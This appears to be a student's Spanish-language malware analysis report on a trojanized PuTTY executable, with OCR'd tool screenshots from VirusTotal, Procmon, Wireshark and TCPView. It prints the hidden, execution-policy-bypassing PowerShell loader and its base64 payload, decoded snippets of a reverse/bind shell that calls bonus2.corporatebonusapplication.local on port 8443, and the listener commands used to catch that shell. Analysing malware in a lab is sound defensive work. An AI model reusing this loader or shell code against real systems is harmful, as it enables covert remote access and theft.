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Hash del programa

El hash del archivo es:
MD5: 334a10500feb0f3444bf2e86ab2e76da

tic 00179400

PE32 Sections

= Similar ~~

() 61/72 security vendors flagged this file as malicious ' Reanalyze
0cB82e654c09c8fdofdf4899718efa37670974c9eec5a8fc18a16T93ceabeeBl Size Last Analysis Date 00
PUTTY 147 MB 4 days ago EXE
Community
S peexe  longsleeps  checks-user-input  direct-cpu-clock-access  detect-debug-environment  runtime-modules
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 17+

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label () trojan.marte/meterpreter Threat categories trojan Family labels marte  meterpreter  rozena
Do you want to automate checks:

Security vendors' analysis (O

AhnLab-V3 @ Win-Trojan/Swrort.X1746 Alibaba I::; Trojan:Win32/Rozena.Tad3a84c
- — g P N

AliCloud (1) Backdoor:Win/Meterpreter.QHU AlYac (1) Generic.ShellCo



Arquitectura y Compilacion

Estd basado en la arquitectura El programa fue compilado el
Intel i386 de 32 bits dia 10 de Julio del 2021 a las

02:51:55hs desde un sistema
operativo Windows 95.

Posiblemente fue escrito en C.

Bl Detect It Easy v

File name

L T |
1 e e =

HEl [ e I

[l

(=]

310 [Windows 10 Version 2009)] (xB6_64)

Ch Users\ElianP Oy Desktop' putty.exe

File type

PE32
File info

& MIME
PE

Sections

000a

Comm
Fodll

Automatic

Signabures

Directony

File size Base address Entry point

147 MiB 004 00000 0052 2000

o Memory map | [EDisasm | B Hex (111 Strings =] Signatures

3 Visualization 52 Search # Hach ':::::"Elltlll Py %" Extractor

Import =" Resounces

—
MESCUNCES

Tirne date starmp Size of image

00180204 B, Manifest

Endianness Mode Brchitecture

32-hit 1386

Database

W' Advanced
«T* Demangle
VirusTotal

WAFLA

P IOE

=8 Shortcuis

£} Options

Aok

X Exit



Secciones del programa

v Section(0)[".text']
N v Section(1)['.rdata’]
V| Section(Z)[ .data’]
e reloc V| Section(3)['.00cfg']
o text v Section(4)[ ".rsrc’]
e idata. e V| Section(3)[ .reloc']
5 e .Le v ':}ECtiC!nI:?':II['.!‘ZE‘.-:t']
. reloc .ida v ':.Eu:tn:nl[.-',.#['.lclata']
' .IST V| Section(8)['.rsrc']
v Section(9)[ .reloc']




Strings relevantes

Ejecucion de una powershell oculta, modo no interactivo e
ighorando politicas de ejecucion

e powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]:create((New-Object System.l0.StreamReader(New-Object
System.l0.Compression.GzipStream ((New-Object System.l0.MemoryStream(,
[System.Convert]:FromBase64String (H4sIAOW/UWECA5IW227jNhB991cMXHUtIRbhdbdAESCLepVsGyDANVZU82AYCE2NYzUyqzZKULO0j87yUlypLiBNtUL7aGczIzEKLOAGO
xQbkoOIRWKIOtkcN8B5/Mz6SQHCW8gOuBRvidymTXB6RhNpIPBATIU4S30WZYi19B57IB5VA2DC/iCm/Dr/G9kGsLJLscvdIVGQINRjOrOWpn8qfASF7TIdCQXMScpzZRx4WIZ4AE
FrLMV2R55pGHILUUt29g3EVEBt8Wjl+ZhKuvKr/9NYy5Tfz7xIrFauJljaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFUCVGCVSroAvw4DIf4D3XNKk25QHIZ2pW2WKKO [ ofz
ChNyZ/ytiwYsFeOCtyITINO5j9suHDz+dGhKIgdQ2rotcnroSXbTORoxhro3Dghx+BWX/GlyJabQKTXEfXLAK /hLyaOwCdeeCF2pImJC5kFRj+U7zPESZtUUjMmWAQ6/Ztgg5Vp2J
WaYI0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovi9xam27DvP30T430PIVUWPbLEhiuhMUKpO4XNCV+iWZqU2UUOy+aUPcyC4AU4ZFTopelna
ZRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgngcfHwd7xzfypD72pxq3miBnirGTcH4+igPr68DW4JPV8bu3pgXFRIX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRma
KdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQBIpIQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+60k4Z6GIXTsxncGJeWG7cvyAHN27
HWVp+FvKJsaTBXTiHIh33Ua DWW7errfGA1NIWG6/2FDXd87V4WPBqmxtuIeH74GV/PKRquI3qun6IyiuBFVOWd kTPXSSHSfe/+7thImqHver5A5X5NGSJX3V8HW298I7SA
9gg5wWuCktIcWPiYTk8prV5tbHFaFICleuzQbl2b8qYXS8ub2V0IznQ54afCsrcy2sFyeFADCekVXzocf372HJ [haBLDyCo6KIIdDKAMpHRUSVIMCBDVOthalhlIKOR3MjoK1UJfnh
GVIpR+8hOCi/WIGf9s5naT/IDBNmM++0TrtVTgantvmcFWp5uLXdGnSXTZQJhSBf5hBNtcjry9N8eXQOXxyH4rirE0J3LIKF8i/mtI93dQkAAA=="))),
[System.I0.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

__ 9647|  0011bk05| 0| |  0100/A |powershell.exe -nop -w hidden -noni -ep bypass .

Strings que indican alguna consola ecmd

SSH1_CMSG_EXEC_CMD
proxycmd

.Jecmdline.c
psftp-cmd-*.ntml: ejemplo psftp-cmd-mkdir.ntml

| 1é|A |8/paftp-cmd-mkdiz
L0729 1124drL 12 A fpa ml




Strings relevantes

Indicios de una apertura de shell

e Don’'t Start a shell or command at all
e Server refused to start a shell/command
e Started a shell/command

Correo y pareciera ser “envio” de PK

e rijndael-cbc@lysator.liu.se

e Sent Public key signature

3242 000acd37| O

l1b|A |(rijndael-cbcflysator.liun.se

lic key signature

& A | Sent pul

Dacded 0 21 B Tnable ©o parse BES5A kex signatcure


mailto:rijndael-cbc@lysator.liu.se

¢ Esta empaquetado?

No, el programa no estd empaquetado, ya que las secciones del programa tienen un

tamano mayor a 0 y ademds no aparece ninguna seccién como UPX por ejemplo.

Imports relevantes

En la libreria Shell32.dll

e ShellExecuteA: este método permite ejecutar
cualquier comando en el mend contextual de una
carpeta o almacenarse en el Registro

En la libreria Kernel32.dll

e CreatefFile

e WriteFile

e CreateProcessA:La funcidon CreateProcessA de
Windows crea un nuevo proceso Yy su subproceso
principal. El nuevo proceso se ejecuta de forma
independiente al proceso que lo cred

e FindNextFileA: La funcidn FindNextFileA encuentra
archivos o subdirectorios que coinciden con un
patrén de bdsqueda especifico



¢ Funciona el programa??

En un principio, lo que hace inicialmente al ejecutarse es primero abrir una ventana de la consola
powershell por unos segundos, y el programa putty con su GUI. Luego de unos segundos se cierra el
powershell y queda la interfaz de Putty solamente. En principio haria solo eso, al solo ejecutar sin analizarlo
profundamente.

' se abre una consola de powershell por unos segundos y luego se cierra.
Indicando un comportamiento sospechoso e inesperado.

Evidencia:
Se abre la powershell por unos segundos: Luego, se cierra y queda el putty abierto
"8
SR
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Informacion en Proecmon

De los hallazgos mas importantes, fue la ejecucion de una powershell, también se encontré este tipo de archivos que
contenia informacién de la ejecucion de la consola:

L= £ T Bl W % - L b S U ] DT e el el Tl el BT W T WREE e R TR DT e T W el el el U] P RS T oo o e e Bl 1 o i

'“n'r-Fule -\Users'\ElianPC"Desktop'\P5_Transcripts ' 20250408"\PowerShell _transcript DE -HTI IF' H. SVQG a+fTs+y, LIEE-JE,‘I-‘I

WinteFle CAUsers\HianPC \Desktop*PS _Transcripts'\ 20250408 " PowerShell_transcript DESKTOP-KISVQQ) a+ Als+v 2025040814
WiiteFile C:\Users\ElianPC\Desktop"P5_Transcrpts \20250408"PowerShell_transcrpt DESKTOP-KISVQQ a+f 7Js+v 2025040814

9592 :5:" C:\Users"\HianPC'\Desktop'\P5_Transcripts'.20250408"\PowerShell_transcript. DESKTOP-KISVAQJ a+ /ds+v. 2025040814

Dentro del contenido del archivo se verificé que contiene el comando que se ejecutd, se pudo identificar que pasaba informacion codificada en base64 y
comprimida en gzip para ofuscar el cédigo y evitar detecciones.

Configuralion Name:

'|F_]_] -"||_'|:. -i¢ hidden -noni -&g
-u:iEleF '||' Yo IUW] 1gIGHabOLVE: 1IE 1piid0

oy, h.1.19841, 168

. FunlimeExceplior




Informacion en Proecmon

La ejecucion de la powershell, venia acompanada de los siguientes argumentos, lo que la hizo sospechosa, por su comportamiento:

= -nop (-NoProfile): Evita cargar el perfil de PowerShell del usuario, lo cual puede acelerar la ejecucién y evitar detecciones.

= -w hidden (-WindowStyle Hidden): Ejecuta PowerShell sin mostrar ventana al usuario (modo oculto).

= -noni (-Nolnteractive): Desactiva el modo interactivo, ideal para scripts automatizados.

= -ep bypass (-ExecutionPolicy Bypass): Ignora la politica de ejecucion configurada en el sistema. Esto permite ejecutar scripts aunque
normalmente estarian bloqueados por politicas de seguridad

Luego de traducir lo que estaba en Base64, descubri que intentaba hacer tanto un reverse shell a “bonus2.corporatebonusapplication.local” a
través del puerto 8443 como abrir el puerto 8443 en la maquina victima para poder conectarse.

TUATPL L LA [IETAMETT RAT)
(
Param{
|5tring |$Command,
|tring|%S=lcon,
[string]f0ownload
»
Process |
$modules = @()
it {$Command -eq “boind”}
i
flistener = [system.Met.sockets.ToplListensr|8443
flistener.start{)
$client = $listener.AcceptTopllient()
]
if ($Command -eq "reverse")
i

fclient - Mew-Object System,Met.Sockets,TCPClient{"bonus2.corporatebonusapplication.local™ 8443}

t

Adjuntaré un .txt con la funcion de powershell que utilicé para decodificar el mensaje ya que estaba comprimido el mensaje en gzip y pasado
por base64. Ademas de la funcién en formato ASCII.
amrr



Informacion en Proecmon

Ademas en procmon también se observé que se modificaban muchos valores de registro, ademas se observa “WindowsShell.Manifest”, que por si
solo no seria malicioso pero podria tratar de pasar algo ilegitimo como legitimo.

AU ESD ALETY Rame

H“~1Er-T—-I|E I- rH:l-n . H
e SUCCESS position: Op
LresteFil=Mapp.. L WWinc FILE LOCKED ‘W, . Symc [ypes f'i,'nr. ypelrealeSedion. FPageProbechion; PA
ey Standard .. CWind o Vindoy SUCCESS i - & 196, EndCHFile: 570, MumberlELinks: 2
Ak '.1 .

0 Viindows\Cument Version\.Sid :
i 5 lllli' 55 ey Set famationCass . KeySetHardle Tagsiiformation

NAME NOT FOUND Length: 20

LSUCT
SUCCESS MocationSize: 4,096, EndCfFle; 670, MumberOfLinks: 2

T
0.
0.

0.
i)

[.
0.
0.
0
[.
0.
0.

En otro momento se observo que dispard la Powershell en diferentes rutas donde NO tuvo éxito.
Por ejemplo C:\ProgramData\chocolakey\bin\powershell.exe, C:\Windows\powershell.exe

_%p_ﬂ:. [ 2455 (5 CresleFie LAlses EianPL \Uesktoppowershell ex= MAME RO T FOUND Desined Acoess: Read Alfrbutes, Uisposition: Upen, Upbon:
mpputty == 2456 LCrest=Fi= LChAlses EianPL \Desktoppowershell sx= MNAME MO T FOUND Desined Aco=ss: Fead Alfrbubes, Uispostion: Upen, Upbon:
F £ rrr} e 2496 5 Create Fle ytho

] h pithy e 24536 Creatafle Pt aNE & ': T F'_ | W ||:+| Eined

L |.u||I B 2456 sl Fls C:\ProgramData’ 3 0T FOUND Desgmad A

] L4545 | reabe il LW Yindoees Sy Z' praverghel] e HAME NOT FOUND Desred Aco

F 2496 5l CreateFile C:\Windo zhel ewa N IH'II T FOUN |[.. ared A

J'!'F wente] mie 24 {E:"I__CEES sl SUCCESS Parert FID: 24596, Command re- powesh=l =x= nop s bk
. M powershel exe £ rﬂ lhread Creals SULCESS Ihread L) 344




Informacion en Proecmon

También se pudo observar que abre el conhost.exe, esto no indicaria un virus en si mismo, pero es un indicio de que algo puede estar
ejecutandose en segundo plano.

2080, nosanabal exe 2748 5
190 7

ENoowsanhal sxs 28 CreataRleMapo...C\Winda

G0 ENpvwaehsl axs F7dR CreatefleMapo .. C WWinda

A
e

Luego, una vez ejecutada la simulacion al puerto 8443: podemos visualizar que se realiza la conexion. Desde la maquina remnux, simulamos con inetsim y
abrimos el puerto 8443, y al ejecutar el PUTTY desde la FLARE VM se establece la conexién.

|EEIEE!L_'H anghell exe 3092 Eﬁend : DESKTOP-KISVQ0.-54316 -> www inetesim org G443

3092 ™. TCP Receive  DESKTOP-KISVQQJ:54316 -> www inetsim org 8443

3032 "+ ILF Receive  DESKTUP-KISWVJ:54316 -> www inetsim org:844 3




Informacion obtenida en Wireshark

Lo mas relevante que encontré en wireshark fue el intento de conexién hacia “bonus2.corporatebonusapplication.local”,
buscando quien |lo contiene, ya que realizaba consultas DNS, por ende, pudimos enganar al malware con Inetsim.
Luego no se hallé informacion relevante porque viajaba cifrada.

& B.969583 18.9.8.4 18.9.8.3 DS 98 Standard query 8xad5b A bonus2.corporatebonusapplication.local
7 8.9788138 18.8.8.3 18.8.8.4 ICMP 126 Destination unreachable (Port unreachable)

E 8.978173 18.8.6.4 18.8.8.3 DS 08 Standard gquery @xadSh A bonusl.corporatebonusapplication. local
3 1.9B3424 18.8.8.4 18.0.8.3 ONS 08 Standard query 8xad5b A bonusl.corporatebonusapplication. local

18 1.984518 18.8.8.3 18.8.8.4 ICHP 126 Destination unreachable (Port wnreachable)
11 1.985161 18.8.8.4 18.8.8.3 DS 98 5tandard query @xad5b A bonusl.corporatebonusapplication.loca

=]
i

"
-
[



Informacion en TCP View

En un principio, solo ejecutando el programa, sin simular el servidor al que se
conecta en TCP View se observé que abria el puerto local 52024.

powershell.exe 6104 UDP 0.0.0.0 52024 ~ 4/B/2025 Z:20:1

Una vez simulando el servidor con remnux e inetsim simulando
bonus2.corporatebonusapplication.local y abriendo el puerto 8443 se establece la conexion.

owershellexe 1504 iy Established  10.000.4 54096 10.0.0.3 Bad3 4B/ 0025 30737

En un momento se llegd a visualizar el puerto 443, indicando conexién por HTTPS, por lo estaria utilizando
SSL para la comunicacion. Por ese motivo no vimos mucha informacion en wireshark, ya que viaja cifrada.

B putty.exe {4 ¥ kstablished

[Tirme Wait] 4 Time Wait

[ Time Waik] [ lime Wait
[Tirme Wait] i Time Wait
[Timne Wait] P Tirme Wart

[Time Wait] s A art

[Time Wait] P Time Wart

[Tirne Wait] L Tirne Wait

[ Time Wark] e lime Wait




Ejecucion del programa simulado

Abriendo el puerto 8443 en remnuy, y luego ejecutando el programa en la
FlareVM, nos da la siguiente respuesta:

remnux@remnux:~$ sudo nc -1lp 8443

0050006060040 66<00U000RH (<0, 0+600,0005646 (6 0

v vonL=<5/
1+)&bonus2.corporatebonusapplication.local

#oll

remnux@remnux:~% sudo nc -1lp 8443

remnux@remnux:~% sudo nc -lp 8443
B6h  G{BiOMBREULES E/6172t": 8, 6+600/0605648 (' 6 B ORI I RO RO
= 5 ='-':5,|I'r
$+:l&hnnugg?gn?p:}rratehnnusapplicatinn.lncal L+)&bonus2. corporatebonusapplication. local
#61
#0ls s °
| remnux@remnux:~$ [J

IMPORTANTE: Recordar lo que vimos en el cédigo del script.

[byte[]]¢bytes = ©0..20000|% {0}
$sendbytes = ([text.encoding]::ASCII).GetBytes“"windows Powershell running as user " + $env:username + " on " + $env:computername +

“"nCopyright (C) 2015 Microsoft Corporation. All rights reserved. n n"))
$stream.Write($sendbytes,®,$sendbytes.Length)




Ejecucion del programa simulado

Analizando mds a profundidad, nos dimos cuenta que la respuesta “parecia” estar encriptada por lo que
utilizamos openssl para poder ver los datos de forma legible.

Comandos utilizados:

e openssl req -x509 -newkey rsa:2048 -keyout mykey.pem -out mycert.pem -days 1 -nodes -subj
"/CN=bonus2.corporatebonusapplication.local’
e openssl s_server -quiet -key mykey.pem -cert mycert.pem -port 8443

De esta manera dejamos el puerto 8843 escuchando, mediante ssli, y luego ejecutamos el “putty.exe” en
FlareVMy de ahi se establecié la conexion remota.




Ejecucion del programa simulado

Evidencia: Se ve el mensaje que indica con que usuario, sobre que equipo estamos ejecutando una
powershell, y nos permite ejecutar los comandos, por ejemplo el Is.

remnuX@remnux:-% Openssl s Server -quiet -key mykey.pem -cert myceri.pem -port 8443
Windows PowerShell running as user ElianPC on DESKTOP-KI5VQQJ

Copyright (C) 2815 Microsoft Corporation. ALl rights reserved.

PS C:\Users\ElianPC\Desktop=ls

Directory: C:\Users\ElianPC\Desktop

Mode LastWriteTime Length Name

d----- 4/8/2025 11:34 AM analizados

d----- 4/8/2025 11:35 AM FALTA ANALIZAR

d----- 4/8/2025 1:52 PM PS Transcripts

g-=---- 3/18/2025 11:42 AM Tools

=@==== 3/13/2825 8:43 PM 18652 avallable packages.tixt

-a---- 3/13/2825 8:44 PM 9516 config.xml

- LEEE 3/18/2025 10:04 AM 698 fakenet logs.lnk

- EEE 4/8/2025 2:55 PM @ New Text Document.txt

-a---- 4/8/2025 12:00 PM 118 parcial.txt

-a---- 4/8/2025 3:04 PM 3775 PowerShell transcript.DESKTOP-KI5VQQJ.O0M5Naywi.2
0250408150455 . txt

~@---- 4/8/2025 T7:28 AM 662410 putty.7z

-gd--=-- l18/1/2821 9:81 PM 1545216 putty.exe

-B---- 4/8/2025 2:57 PM 4165 script.txt

PS C:\Users\ElianPC\Desktop> dir




cQue tipo de es?

h Otro hallazgo realizado es que durante la ejecucion del programa, se

crearon varios archivos “desktop.ini” en diferentes directorios, sin
embargo no indica nada malicioso el contenido del mismo. Por lo que
posiblemente fue basura para despistar.

El malware en cuestion se trata de un
que intenta obtener el

acceso dl sistema mediante bind o
reverse shell. Logrando un acceso

al sistema y la ejecucion de
comandos de manera oculta para no ser
detectado.

desktop.ini - Notepad
\\ ”/ \ / File Edit Format View Help

[ .ShellClassInfo]
LocalizedResourceName=@k%5ystemRoot®\system32\shell32.d11,-21/7/9
InfoTip=@*%SystemRoot¥\system32\shell32.d11,-12688
IconResource=%S5ystemRoot®\system32\imageres.dll,-113
IconFile=%SystemRoot®\system32\shell32.d1ll

Iconlndex=-236




